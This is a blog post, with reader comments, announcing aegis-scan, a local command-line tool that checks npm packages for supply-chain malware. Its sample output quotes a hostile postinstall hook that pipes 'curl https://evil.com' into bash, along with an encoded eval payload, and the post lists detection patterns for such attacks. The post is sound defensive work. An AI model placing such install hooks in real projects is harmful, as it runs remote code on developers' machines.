Last week I ran npm install on a new project. 847 packages downloaded in twelve seconds. And I thought: what if one of those just stole my AWS keys?
Not a crazy thought. It happened before.
In 2018, event-stream got a new maintainer who slipped in code that stole cryptocurrency wallets. Two million weekly downloads. In 2021, ua-parser-js was hijacked to install cryptominers. In 2022, the author of colors.js broke it on purpose, taking down thousands of projects overnight.
All of them passed npm audit with zero warnings.
npm audit only catches what someone already reported
npm audit checks a database of known vulnerabilities. If nobody filed a report yet, it stays silent. That gap between "malicious code gets published" and "someone notices" can be days or weeks. By then, you already have it in your node_modules.
Snyk and Socket are better at this, but they're SaaS. You need an account, sometimes a paid plan, and your code goes to their servers for analysis.
I wanted something different: a tool that downloads the package, looks at the actual code, and tells me if something looks wrong. Locally. No accounts. No cloud.
So I built aegis-scan.
What it does
aegis-scan is a Rust CLI. You point it at a package and it tells you if the code looks suspicious:
$ aegis-scan check suspicious-pkg@1.0.0
📦 suspicious-pkg@1.0.0
⛔ CRITICAL: Code Execution
│ eval() with base64 encoded payload
│ 📄 lib/index.js:14
│ └─ eval(Buffer.from("d2luZG93cy...", "base64").toString())
⚠️ HIGH: Install Script
│ postinstall downloads and executes remote script
│ 📄 package.json
│ └─ "postinstall": "curl https://evil.com | bash"
Risk: 8.5/10
It downloads the tarball from npm, extracts it, and runs 9 different analyzers on the code. Then gives you a score from 0 to 10.
What it catches
Obfuscated eval with encoded payloads. The #1 pattern in npm malware. aegis-scan uses tree-sitter to parse the JavaScript AST, so it catches these even when spread across multiple statements.
Suspicious install scripts. A postinstall that runs curl | bash is how most npm attacks get code execution. aegis-scan flags any shell commands or network calls in lifecycle scripts.
Maintainer takeovers. When a package suddenly gets a new maintainer (like event-stream did), that's a red flag. aegis-scan checks the npm registry metadata for ownership changes.
AI hallucination packages. ChatGPT and Copilot sometimes suggest packages that don't exist. Attackers register those names with malicious code. aegis-scan flags packages that look like they were created just to catch this.
Known CVEs. Checks against the OSV.dev vulnerability database.
Typosquatting. Catches axois instead of axios, lodassh instead of lodash.
Getting started
cargo install aegis-scan
# check one package
aegis-scan check axios
# scan your whole project
aegis-scan scan .
# scan and then install
aegis-scan install express
If you don't have Rust, grab a binary from the releases page.
CI integration
You can add it to your GitHub Actions pipeline:
- uses: z8run/aegis-action@v1
with:
path: '.'
fail-on: 'high'
sarif: 'true'
With sarif: true, results show up in GitHub's Security tab. The action fails the build if any dependency is rated HIGH or CRITICAL.
How it works
aegis-scan pulls the package tarball, extracts it to a temp dir, and runs these analyzers:
- Static code analysis (regex patterns for eval, child_process, env harvesting)
- AST analysis (tree-sitter parses JS to catch structural patterns regex misses)
- Install script analysis (preinstall/postinstall hooks)
- Obfuscation detection (entropy analysis, encoded payloads)
- Maintainer tracking (ownership changes, new accounts)
- Hallucination detection (fake packages from LLM suggestions)
- CVE lookup (OSV.dev)
- Typosquatting check
- Custom YAML rules
Findings get weighted by severity and summed into a 0-10 risk score. Results are cached for 24 hours so repeated checks are instant.
It's Rust, so scanning 50+ dependencies takes a few seconds, not minutes.
Custom rules
You can add your own detection rules as YAML files:
id: "CUSTOM-001"
name: "Crypto wallet regex"
severity: high
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"
Drop them in a rules/ directory or pass --rules ./my-rules/.
Open source
MIT license. Code is at github.com/z8run/aegis.
Try running aegis-scan scan . on your current project. You might be surprised.
If you find it useful, a star on the repo helps other devs find it. And if it catches something real, I'd love to hear about it.
Top comments (4)
this is seriously cool stuff, thank you for sharing it with us... :)
FYI, I just shared a comment on the "PC Security Channel" video posted earlier about the Axios issue to let people know about your GH repo.. if it has the intended effect, you should see a nice little bump in the star count before too long!EDIT: YouTube keeps deleting my comment... tried 3 times now, and each time after I refresh the page, it's gone. fml.just so you know, I asked Claude if your tool would have helped to detect this Axios issue, and this was the response:
so, yeah... VERY cool stuff.
Thanks Andre! Really cool that you validated this against the actual axios attack. Your Claude analysis nailed it, the attack hit at least 5 independent detection vectors that aegis-scan covers.
I actually just published a full technical breakdown of the axios compromise and how each analyzer would have flagged it: The Axios Attack Proved npm audit Is Broken. Here's What Would Have Caught It
The crazy part is how simple the attack was. A
postinstallhook, basic XOR obfuscation, and a raw HTTP C2. And it still worked becausenpm auditcan't flag what isn't in the advisory database yet.Sorry to hear YouTube kept eating your comments on the PC Security Channel video. If you have a link to the video I'd love to check it out, and if the channel is interested I'm happy to do a live demo of aegis catching the axios payload.
Thanks for spreading the word. Contributions and feedback always welcome on the repo 🤝
it was crazy simple indeed, but also the frequency with which we're seeing attacks like this these days is pretty concerning.. I feel like we actually need some sort of install-time safety checks now.
the YT video I was referring to is over here if you want to check it out: youtu.be/7Kj8O0rdmW4?si=ReK1w0xbwx...